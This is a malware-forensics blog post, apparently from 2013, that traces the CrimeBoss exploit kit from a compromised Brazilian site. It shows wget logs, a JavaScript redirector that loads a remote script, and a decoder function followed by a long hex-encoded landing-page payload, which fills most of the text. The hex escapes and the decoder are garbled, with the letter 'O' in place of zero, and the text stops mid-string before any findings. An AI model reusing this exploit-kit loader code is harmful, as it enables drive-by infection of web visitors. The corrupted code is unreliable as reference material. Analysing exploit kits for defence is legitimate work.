MALware FORensics SECurity: Bossing the Boss around

Analyzing CrimeBoss Exploit Kit

After looking into the Blackhole EK and RedKit it's time to pick a fight with "The Boss". Not top of the food chain in the Exploit Kit world, but close, and with the name CrimeBoss one get curious.

As always Urlquery to the rescue with hints on where to start looking: link

1. Fetching redirector

--2013-03-19 --  hxxp: //anitatelecom.com.br/.01/?x=s
Resolving anitatelecom.com.br... 187.1.133.57
Connecting to anitatelecom.com.br|187.1.133.57|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Apache
  Set-Cookie: PHPSESSID=09d624312a8f68826b4a0b5a9298990a; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Vary: Accept-Encoding
  Content-Encoding: gzip
  Connection: close
  Content-Type: text/html
Length: unspecified [text/html]
Saving to: `pane.html.gz'

     0K                                                        4.39M=0s

2013-03-19  (4.39 MB/s) - `pane.html.gz' saved [172]

Simply JavaScript to get the landing pane:

if(navigator.javaEnabled()) {
document.write('<sc' + 'ri' + 'pt src="hxxp: //anitatelecom.com.br/.01/index.php?x=s&apm=1788362687&no=0" type="text/javascript"></scri' + 'pt>');

2. Fetch the landing pane

--2013-03-19 --  hxxp: //anitatelecom.com.br/.01/index.php?x=s&apm=1788362687&no=0
Resolving anitatelecom.com.br... 187.1.133.57
Connecting to anitatelecom.com.br|187.1.133.57|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Apache
  Set-Cookie: PHPSESSID=47f08b3c137fef72727c28687d5f7146; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Vary: Accept-Encoding
  Content-Encoding: gzip
  Connection: close
  Content-Type: text/html
Length: unspecified [text/html]
Saving to: `index.php.gz'

     0K ....                                                    718K=0.006s

2013-03-19  (718 KB/s) - `index.php.gz' saved [4254]

3. Deobfuscate landing pane with nodejs

I bet Wepawet would do an excellent job on this one, but with the Boss around I feel that we need to work a bit harder and see if we can get payed off better:
Lots of code; I like cleaning the code and understanding it before decoding; No requirement for Monty Python references while using JavaScript so I leave you with simply the code;

     function dcd(st)
     {
      r = '';
      for(i=O; i < st.length; i++)
      {
       e = st.charCodeAt(i)-1;
       r = r + String.fromCharCode(e);
      }
      return r;
     }
   function hDdwCvE() { var DQKacTGKXZ = '\x77\x62\x73\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x21\x3e\x21\x28\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x5O\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x7O\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x2c\x3O\x3e\x28\x3c\x21\x77\x62\x73\x21\x4a\x53\x69\x6f\x7b\x67\x77\x71\x7b\x66\x7a\x21\x3e\x21\x28\x55\x38\x3a\x22\x25\x3a\x3a\x29\x35\x2c\x74\x2c\x7f\x35\x35\x2a\x55\x38\x7f\x41\x3e\x28\x3c\x21\x77\x62\x73\x21\x64\x21\x3e\x21\x31\x3c\x21\x21\x21\x67\x76\x6f\x64\x75\x6a\x7O\x6f\x21\x6b\x7O\x5O\x78\x7b\x54\x75\x6f\x4c\x71\x29\x74\x2a\x21\x7c\x21\x77\x62\x73\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x21\x3e\x21\x28\x28\x3c\x21\x77\x62\x73\x21\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x3e\x21\x2e\x32\x3c\x21\x77\x62\x73\x21\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x3e\x21\x31\x3c\x21\x77\x62\x73\x21\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x21\x3e\x21\x76\x6f\x66\x74\x64\x62\x71\x66\x29\x74\x2a\x3c\x21\x21\x67\x7O\x73\x21\x29\x77\x62\x73\x21\x6a\x3e\x31\x3c\x6a\x3d\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x2f\x6d\x66\x6f\x68\x75\x69\x3c\x6a\x2c\x2c\x2a\x21\x7c\x21\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x3e\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x6a\x6f\x65\x66\x79\x5O\x67\x29\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x2f\x64\x69\x62\x73\x42\x75\x29\x6a\x2a\x2a\x3c\x21\x6a\x67\x21\x29\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x3f\x3e\x21\x31\x2a\x21\x7c\x21\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x3e\x21\x29\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x2e\x21\x4a\x53\x69\x6f\x7b\x67\x77\x71\x7b\x66\x7a\x2f\x64\x69\x62\x73\x44\x7O\x65\x66\x42\x75\x29\x64\x2a\x2a\x21\x26\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x6d\x66\x6f\x68\x75\x69\x3c\x21\x6a\x67\x21\x29\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x3d\x21\x31\x2a\x21\x7c\x21\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x2c\x3e\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x6d\x66\x6f\x68\x75\x69\x3c\x21\x7e\x21\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x21\x2c\x3e\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x64\x69\x62\x73\x42\x75\x29\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x2a\x3c\x21\x21\x64\x2c\x2c\x3c\x21\x6a\x67\x21\x29\x64\x21\x3f\x3e\x21\x4a\x53\x69\x6f\x7b\x67\x77\x71\x7b\x66\x7a\x2f\x6d\x66\x6f\x68\x75\x69\x2a\x21\x7c\x21\x64\x21\x3e\x21\x31\x3c\x21\x7e\x21\x7e\x21\x66\x6d\x74\x66\x21\x7c\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x21\x2c\x3e\x21\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x2f\x64\x69\x62\x73\x42\x75\x29\x6a\x2a\x3c\x21\x7e\x21\x7e\x21\x21\x73\x66\x75\x76\x73\x6f\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x3c\x21\x7e\x21\x21\x21\x3O\x2b\x67\x35\x64\x6c\x2b\x3O\x21\x21\x66\x77\x62\x6d\x29\x6b\x7O\x5O\x78\x7b\x54\x75\x6f\x4c\x71\x29\x28\x43\x52\x6b\x26\x33\x31\x45\x6O\x4a\x68\x67\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x6f\x26\x33\x31\x68\x57\x67\x4a\x26\x34\x43\x26\x31\x42\x73\x4f\x66\x26\x33\x31\x4d\x6O\x42\x69\x69\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x33\x47\x26\x33\x31\x26\x33\x38\x65\x26\x34\x45\x6b\x69\x26\x34\x42\x67\x6a\x54\x67\x4b\x68\x46\x66\x4a\x69\x53\x51\x52\x36\x2f\x54\x6c\x6d\x2f\x59\x26\x33\x43\x32\x2f\x74\x57\x6a\x62\x67\x46\x53\x63\x2f\x62\x4d\x6d\x26\x33\x38\x26\x34\x43\x26\x31\x42\x6a\x4f\x55\x26\x33\x31\x33\x6O\x63\x58\x63\x5a\x79\x6a\x6c\x26\x31\x3a\x26\x31\x3a\x68\x26\x33\x31\x48\x6O\x6e\x6b\x4e\x26\x33\x31\x79\x26\x33\x31\x26\x33\x38\x26\x34\x47\x46\x4f\x59\x66\x63\x62\x7O\x26\x33\x47\x6b\x58\x74\x7O\x6O\x75\x54\x56\x26\x33\x47\x51\x6c\x26\x33\x38\x26\x34\x43\x26\x31\x42\x6f\x43\x66\x26\x33\x31\x4f\x6O\x58\x4f\x58\x6a\x4f\x52\x37\x26\x31\x3a\x26\x31\x3a\x33\x26\x33\x31\x67\x6O\x75\x6f\x35\x26\x33\x31\x31\x26\x33\x31\x26\x33\x38\x26\x34\x47\x54\x3a\x52\x62\x68\x5O\x7b\x58\x66\x46\x71\x67\x6O\x58\x44\x43\x52\x6c\x6e\x26\x33\x38\x26\x34\x43\x26\x31\x42\x73\x75\x69\x26\x33\x31\x63\x6O\x47\x48\x54\x6f\x43\x63\x4b\x52\x26\x31\x3a\x26\x31\x3a\x72\x26\x33\x31\x67\x6O\x69\x66\x4f\x26\x33\x31\x52\x26\x33\x31\x26\x33\x38\x26\x34\x47\x52\x5a\x74\x66\x38\x65\x35\x4e\x52\x54\x6d\x55\x6O\x58\x46\x68\x46\x6c\x54\x54\x26\x33\x38\x26\x34\x43\x26\x31\x42\x59\x75\x69\x26\x33\x31\x67\x6O\x6c\x69\x38\x52\x57\x26\x33\x47\x42\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x63\x6O\x57\x66\x51\x26\x33\x31\x77\x26\x33\x31\x26\x33\x38\x26\x34\x47\x46\x5a\x68\x57\x52\x37\x33\x7O\x74\x58\x26\x34\x45\x6a\x6O\x65\x4a\x26\x33\x43\x57\x58\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x42\x6a\x46\x64\x26\x33\x31\x4f\x6O\x69\x63\x4f\x47\x79\x55\x26\x31\x3a\x26\x31\x3a\x39\x26\x33\x31\x66\x58\x35\x6a\x58\x26\x34\x43\x26\x31\x42\x51\x26\x33\x43\x6b\x26\x33\x31\x63\x6O\x43\x64\x55\x6O\x55\x53\x5b\x53\x6c\x26\x31\x3a\x26\x31\x3a\x7O\x26\x33\x31\x49\x26\x34\x43\x26\x31\x42\x6d\x58\x72\x26\x33\x31\x67\x6O\x75\x67\x69\x6O\x3a\x4c\x6d\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x64\x6f\x26\x34\x43\x26\x31\x42\x5b\x4d\x57\x26\x33\x31\x67\x6O\x4f\x64\x53\x6O\x39\x69\x62\x26\x31\x3a\x26\x31\x3a\x26\x33\x47\x26\x33\x31\x26\x33\x38\x6a\x49\x26\x33\x38\x26\x34\x43\x26\x31\x42\x6d\x54\x4d\x26\x33\x31\x48\x6O\x54\x69\x52\x6O\x69\x57\x58\x26\x31\x3a\x26\x31\x3a\x72\x26\x33\x31\x26\x33\x38\x65\x68\x68\x53\x26\x34\x42\x53\x32\x59\x5b\x6a\x76\x66\x6e\x2f\x42\x5O\x34\x2f\x74\x64\x7a\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x42\x26\x31\x42\x4b\x67\x53\x5a\x68\x57\x52\x37\x26\x33\x31\x26\x34\x45\x6O\x64\x26\x34\x45\x6d\x39\x4c\x4b\x74\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x5O\x58\x6d\x57\x66\x53\x26\x33\x31\x56\x6O\x46\x6d\x64\x6O\x69\x55\x35\x26\x33\x31\x31\x26\x33\x31\x67\x6O\x5b\x6d\x39\x6O\x67\x6b\x26\x33\x47\x26\x33\x31\x69\x26\x33\x31\x63\x6O\x54\x52\x64\x6O\x4e\x5a\x49\x62\x6c\x26\x33\x31\x79\x26\x33\x31\x26\x33\x38\x2f\x4d\x75\x69\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x63\x75\x6b\x77\x6b\x62\x4a\x4c\x26\x33\x31\x43\x6O\x56\x78\x54\x26\x33\x39\x58\x64\x48\x62\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6a\x4f\x55\x26\x33\x31\x32\x57\x6f\x26\x33\x31\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x33\x47\x26\x33\x31\x5b\x38\x54\x6e\x48\x43\x67\x6d\x2f\x45\x66\x4a\x4d\x59\x62\x35\x5a\x48\x36\x56\x6b\x74\x26\x33\x39\x26\x33\x38\x66\x7a\x69\x54\x48\x43\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x62\x59\x54\x2f\x67\x57\x4f\x26\x33\x31\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x72\x26\x33\x31\x7O\x66\x51\x48\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x32\x57\x6f\x2f\x73\x71\x46\x63\x58\x2f\x51\x47\x6c\x62\x44\x57\x51\x55\x59\x76\x26\x31\x3a\x7b\x26\x33\x31\x26\x33\x38\x56\x4c\x78\x55\x62\x6e\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x7a\x69\x2f\x6c\x4f\x57\x65\x58\x2f\x46\x57\x58\x62\x51\x58\x6d\x26\x31\x3a\x26\x31\x3a\x7b\x26\x33\x31\x26\x33\x38\x4c\x37\x63\x66\x6e\x62\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x32\x57\x6b\x2f\x4e\x52\x72\x65\x47\x2f\x5b\x46\x64\x4c\x66\x62\x26\x31\x3a\x26\x31\x3a\x7b\x26\x33\x31\x26\x33\x38\x64\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x32\x57\x6f\x2f\x73\x71\x46\x63\x58\x2f\x4b\x26\x33\x43\x57\x57\x4b\x62\x4c\x26\x31\x3a\x26\x31\x3a\x79\x26\x33\x31\x26\x33\x38\x66\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x54\x66\x2f\x56\x26\x34\x45\x7O\x69\x65\x2f\x59\x38\x69\x57\x26\x33\x47\x5O\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x26\x33\x38\x67\x51\x62\x4a\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x55\x4b\x6f\x2f\x67\x68\x62\x35\x56\x2f\x74\x69\x5b\x26\x34\x45\x59\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x26\x33\x38\x56\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x47\x59\x6b\x2f\x55\x68\x64\x58\x4a\x2f\x65\x53\x57\x4a\x31\x6b\x26\x31\x3a\x26\x31\x3a\x39\x26\x33\x31\x26\x33\x38\x7b\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x6f\x79\x6b\x6e\x4d\x4c\x26\x33\x31\x62\x59\x54\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x54\x5a\x5a\x48\x71\x57\x63\x51\x26\x33\x31\x64\x6O\x63\x4f\x65\x6d\x4a\x26\x33\x39\x6c\x6b\x47\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x54\x54\x6b\x26\x33\x31\x43\x32\x54\x5O\x64\x26\x33\x31\x39\x26\x33\x31\x52\x63\x46\x42\x64\x62\x6e\x71\x2f\x76\x66\x57\x54\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x47\x59\x26\x33\x31\x26\x33\x39\x54\x71\x63\x49\x6b\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x46\x26\x33\x43\x63\x52\x62\x2f\x32\x65\x7O\x65\x6f\x26\x34\x45\x35\x58\x26\x34\x45\x4d\x6b\x58\x26\x33\x39\x79\x6O\x51\x7b\x52\x26\x33\x39\x5a\x6f\x5a\x26\x33\x3a\x26\x33\x44\x26\x33\x31\x4f\x72\x38\x55\x76\x2f\x66\x66\x26\x33\x43\x6a\x6d\x6b\x46\x62\x65\x46\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x54\x5a\x5a\x48\x71\x57\x63\x51\x26\x33\x31\x64\x6O\x54\x5O\x7O\x58\x37\x26\x33\x39\x59\x6d\x48\x4a\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6f\x54\x54\x26\x33\x31\x67\x55\x4d\x53\x26\x33\x31\x39\x26\x33\x31\x52\x63\x46\x42\x64\x62\x6e\x71\x2f\x77\x69\x58\x38\x52\x58\x3a\x4e\x53\x52\x51\x53\x71\x26\x33\x39\x26\x33\x38\x67\x64\x44\x37\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x6a\x6d\x5b\x6b\x2f\x32\x65\x67\x26\x33\x47\x5O\x26\x34\x45\x4d\x31\x26\x33\x47\x26\x33\x31\x72\x26\x33\x31\x54\x59\x6a\x5a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x48\x26\x34\x45\x6c\x6f\x6e\x26\x33\x31\x7O\x39\x52\x67\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x34\x45\x53\x67\x56\x56\x57\x54\x5a\x26\x33\x31\x31\x6O\x64\x31\x64\x53\x62\x43\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6f\x65\x71\x42\x69\x67\x26\x33\x31\x26\x33\x38\x26\x34\x44\x38\x4e\x69\x65\x47\x68\x26\x33\x31\x53\x4d\x52\x62\x7b\x26\x33\x33\x3a\x44\x43\x52\x26\x33\x39\x51\x4d\x26\x33\x3a\x26\x33\x31\x54\x79\x53\x26\x33\x31\x4c\x4f\x26\x33\x43\x6b\x6d\x26\x33\x31\x7O\x51\x59\x55\x5b\x62\x4c\x26\x33\x31\x33\x52\x37\x6b\x6f\x6f\x69\x26\x33\x33\x26\x33\x31\x77\x66\x57\x26\x33\x47\x6b\x26\x33\x33\x66\x75\x2f\x45\x5a\x46\x65\x58\x26\x33\x33\x26\x33\x31\x58\x66\x51\x4b\x32\x6d\x62\x26\x33\x47\x26\x33\x33\x26\x33\x38\x26\x33\x31\x37\x26\x33\x31\x64\x6O\x58\x36\x4b\x4e\x4e\x4b\x7b\x26\x33\x39\x26\x33\x3a\x26\x33\x31\x79\x26\x33\x31\x26\x33\x38\x26\x33\x33\x26\x33\x31\x62\x55\x49\x71\x56\x7b\x26\x33\x33\x64\x26\x33\x33\x26\x33\x31\x31\x56\x66\x67\x65\x26\x34\x45\x33\x26\x33\x33\x74\x26\x33\x33\x26\x33\x31\x26\x33\x31\x4e\x52\x72\x65\x47\x7b\x26\x33\x33\x5b\x55\x58\x66\x5O\x57\x4f\x32\x6b\x76\x26\x34\x42\x26\x33\x31\x68\x66\x78\x55\x58\x49\x26\x33\x33\x26\x33\x31\x4b\x54\x72\x55\x51\x57\x55\x55\x71\x7b\x26\x33\x33\x68\x55\x42\x56\x26\x33\x33\x26\x34\x46\x26\x31\x3a\x26\x34\x44\x6d\x5b\x6f\x75\x64\x26\x33\x31\x67\x38\x4b\x58\x35\x26\x33\x33\x4e\x57\x53\x57\x26\x33\x33\x26\x33\x31\x5b\x58\x5a\x69\x48\x54\x26\x33\x33\x59\x71\x74\x6d\x26\x34\x42\x53\x32\x7b\x58\x2f\x63\x75\x2f\x75\x6c\x71\x2f\x67\x6e\x6c\x38\x2f\x6f\x7O\x6f\x6f\x67\x2f\x5a\x7O\x69\x26\x34\x43\x77\x67\x65\x26\x34\x43\x56\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x6a\x69\x54\x54\x4f\x52\x26\x34\x46\x26\x34\x44\x78\x46\x6d\x64\x5a\x48\x26\x34\x45\x26\x34\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x57\x72\x6e\x5a\x26\x34\x45\x5a\x68\x49\x26\x33\x31\x75\x6O\x5a\x36\x52\x64\x7a\x3a\x6O\x44\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6f\x53\x68\x58\x26\x33\x43\x65\x26\x33\x31\x26\x33\x38\x26\x34\x44\x58\x7O\x6d\x35\x56\x6d\x26\x33\x31\x49\x26\x33\x43\x66\x58\x6f\x26\x33\x33\x3a\x46\x68\x46\x26\x33\x39\x51\x26\x34\x45\x26\x33\x3a\x26\x33\x31\x4b\x48\x76\x26\x33\x31\x4a\x71\x5b\x6f\x26\x34\x45\x26\x33\x31\x34\x56\x4f\x47\x6f\x58\x26\x33\x47\x26\x33\x31\x33\x54\x5a\x59\x6f\x63\x5a\x26\x33\x33\x26\x33\x31\x46\x38\x55\x62\x26\x33\x47\x26\x33\x33\x6a\x49\x2f\x54\x65\x38\x51\x6c\x26\x33\x33\x26\x33\x31\x54\x54\x51\x4d\x55\x5b\x62\x7b\x26\x33\x33\x26\x33\x38\x26\x33\x31\x79\x26\x33\x31\x4d\x6O\x75\x67\x6d\x6O\x75\x6f\x35\x26\x33\x31\x31\x26\x33\x31\x26\x33\x38\x63\x43\x26\x33\x43\x67\x2f\x63\x43\x66\x26\x34\x47\x57\x79\x26\x33\x38\x26\x33\x31\x7O\x26\x33\x31\x4a\x4f\x68\x4b\x2f\x7a\x63\x6c\x6f\x6f\x26\x33\x39\x49\x72\x74\x56\x59\x74\x26\x33\x31\x33\x26\x33\x31\x26\x33\x39\x31\x4f\x59\x54\x2f\x57\x58\x62\x52\x52\x36\x26\x33\x39\x26\x33\x3a\x26\x33\x42\x7b\x36\x39\x36\x51\x7b\x26\x33\x31\x33\x26\x33\x31\x57\x26\x33\x3a\x26\x33\x3a\x26\x33\x31\x69\x26\x33\x31\x26\x33\x38\x26\x33\x33\x26\x33\x31\x7O\x62\x46\x68\x4d\x79\x26\x33\x33\x66\x26\x33\x33\x26\x33\x31\x65\x53\x57\x4a\x31\x6b\x39\x26\x33\x33\x7b\x26\x33\x33\x26\x33\x31\x26\x33\x31\x7O\x26\x34\x45\x7O\x65\x26\x33\x47\x6b\x26\x33\x33\x6f\x62\x55\x57\x47\x55\x51\x66\x68\x6d\x26\x34\x42\x26\x33\x31\x4b\x32\x55\x5b\x65\x6b\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x39\x52\x6b\x38\x4b\x26\x33\x31\x67\x54\x4f\x53\x72\x26\x33\x33\x58\x4e\x6b\x59\x26\x33\x33\x26\x33\x31\x6a\x44\x35\x6c\x62\x26\x33\x47\x26\x33\x33\x65\x26\x34\x45\x6b\x69\x26\x34\x42\x67\x6a\x7b\x76\x2f\x67\x7O\x2f\x67\x76\x68\x2f\x79\x7O\x75\x6f\x2f\x48\x73\x38\x55\x6d\x2f\x77\x67\x65\x26\x34\x43\x3a\x4e\x65\x26\x34\x43\x74\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x6e\x64\x46\x64\x46\x6a\x26\x34\x46\x26\x33\x31\x26\x34\x44\x7a\x4f\x53\x39\x63\x62\x74\x26\x34\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x63\x42\x65\x56\x4f\x47\x68\x67\x26\x33\x31\x79\x6O\x55\x73\x62\x55\x45\x26\x33\x47\x6O\x4c\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x55\x79\x6b\x72\x72\x6b\x26\x33\x31\x26\x33\x38\x26\x34\x44\x75\x67\x69\x47\x43\x6d\x26\x33\x31\x67\x43\x5b\x4a\x79\x26\x33\x33\x31\x58\x6a\x4f\x26\x33\x39\x39\x67\x26\x33\x3a\x26\x33\x31\x4e\x62\x62\x26\x33\x31\x5O\x26\x34\x45\x52\x6b\x4f\x26\x33\x31\x6c\x56\x6d\x4b\x6a\x4a\x4a\x26\x33\x31\x75\x6c\x62\x68\x55\x38\x63\x26\x33\x33\x26\x33\x31\x5a\x6f\x5b\x79\x33\x26\x33\x33\x66\x57\x2f\x26\x34\x45\x65\x54\x55\x67\x26\x33\x33\x26\x33\x31\x46\x64\x48\x65\x57\x6a\x48\x54\x26\x33\x33\x26\x33\x38\x26\x33\x31\x31\x26\x33\x31\x67\x6O\x5b\x6d\x39\x6O\x6c\x6b\x47\x26\x33\x31\x69\x26\x33\x31\x26\x33\x38\x63\x66\x5a\x2f\x58\x46\x64\x26\x34\x47\x57\x39\x26\x33\x38\x26\x33\x31\x79\x26\x33\x31\x26\x34\x45\x44\x26\x34\x45\x59\x2f\x63\x6c\x6c\x38\x69\x26\x33\x39\x75\x56\x59\x74\x74\x63\x26\x33\x31\x79\x26\x33\x31\x26\x33\x39\x34\x4d\x59\x65\x2f\x66\x4f\x51\x78\x66\x6a\x26\x33\x39\x26\x33\x3a\x26\x33\x42\x39\x36\x51\x7b\x32\x65\x26\x33\x31\x69\x26\x33\x31\x75\x26\x33\x3a\x26\x33\x3a\x26\x33\x31\x33\x26\x33\x31\x26\x33\x38\x26\x33\x33\x26\x33\x31\x59\x57\x49\x66\x4d\x39\x26\x33\x33\x6f\x26\x33\x33\x26\x33\x31\x56\x48\x32\x58\x65\x74\x39\x26\x33\x33\x48\x26\x33\x33\x26\x33\x31\x26\x33\x31\x6a\x6d\x54\x4a\x58\x35\x26\x33\x33\x58\x57\x58\x55\x47\x66\x5a\x57\x57\x46\x26\x34\x42\x26\x33\x31\x59\x66\x64\x5b\x79\x65\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x69\x38\x5O\x54\x66\x26\x33\x31\x5O\x4f\x52\x51\x72\x26\x33\x33\x69\x57\x62\x4e\x26\x33\x33\x26\x33\x31\x43\x52\x69\x75\x62\x54\x26\x33\x33\x59\x6d\x4f\x4e\x26\x34\x42\x34\x34\x6a\x71\x2f\x6a\x6e\x2f\x67\x36\x71\x2f\x7O\x65\x4e\x32\x2f\x78\x31\x38\x6f\x67\x2f\x56\x4b\x4a\x26\x34\x43\x56\x69\x4e\x26\x34\x43\x6f\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x71\x62\x46\x6f\x4f\x5b\x26\x34\x46\x26\x33\x31\x26\x34\x44\x6f\x75\x67\x6d\x6c\x62\x26\x34\x45\x26\x34\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x31\x42\x57\x6e\x49\x26\x34\x45\x6d\x62\x51\x62\x26\x33\x31\x34\x5b\x33\x26\x33\x43\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x57\x54\x26\x33\x31\x26\x33\x39\x4d\x6O\x35\x66\x6b\x26\x33\x3a\x26\x33\x31\x4a\x6O\x69\x6c\x56\x69\x58\x26\x33\x39\x48\x6O\x65\x65\x51\x4f\x49\x51\x49\x26\x33\x31\x37\x26\x33\x31\x26\x33\x38\x26\x33\x37\x59\x7b\x4d\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x7a\x6c\x6b\x63\x71\x32\x66\x67\x26\x33\x31\x75\x4d\x45\x36\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x4b\x54\x26\x33\x31\x26\x33\x39\x4f\x6O\x58\x54\x6b\x26\x33\x3a\x26\x33\x31\x3a\x6O\x5a\x37\x79\x67\x7a\x26\x33\x39\x6a\x6O\x69\x35\x66\x54\x26\x33\x43\x43\x57\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x31\x42\x59\x57\x62\x48\x66\x4e\x6c\x62\x26\x33\x31\x26\x34\x45\x52\x66\x36\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x66\x66\x26\x33\x31\x26\x33\x39\x67\x6O\x35\x66\x67\x26\x33\x3a\x26\x33\x31\x72\x6O\x4a\x4b\x58\x52\x71\x26\x33\x39\x4f\x6O\x58\x51\x6c\x4f\x52\x48\x78\x31\x26\x33\x31\x26\x33\x38\x26\x33\x37\x68\x26\x33\x47\x5a\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x7a\x6c\x67\x3a\x52\x62\x68\x5O\x26\x33\x31\x26\x34\x45\x54\x3a\x78\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x66\x54\x26\x33\x31\x26\x33\x39\x58\x6O\x44\x39\x67\x6O\x66\x6e\x5b\x79\x6f\x26\x33\x31\x26\x34\x44\x26\x33\x31\x63\x6O\x38\x4e\x69\x6O\x56\x5O\x68\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4f\x6O\x4d\x55\x6d\x6O\x57\x62\x47\x79\x6f\x37\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x73\x75\x69\x26\x33\x31\x54\x6a\x4d\x57\x72\x26\x33\x31\x6f\x26\x33\x31\x52\x54\x4f\x5a\x6a\x53\x62\x57\x2f\x76\x66\x5b\x79\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x66\x7a\x26\x33\x31\x26\x33\x39\x52\x37\x4a\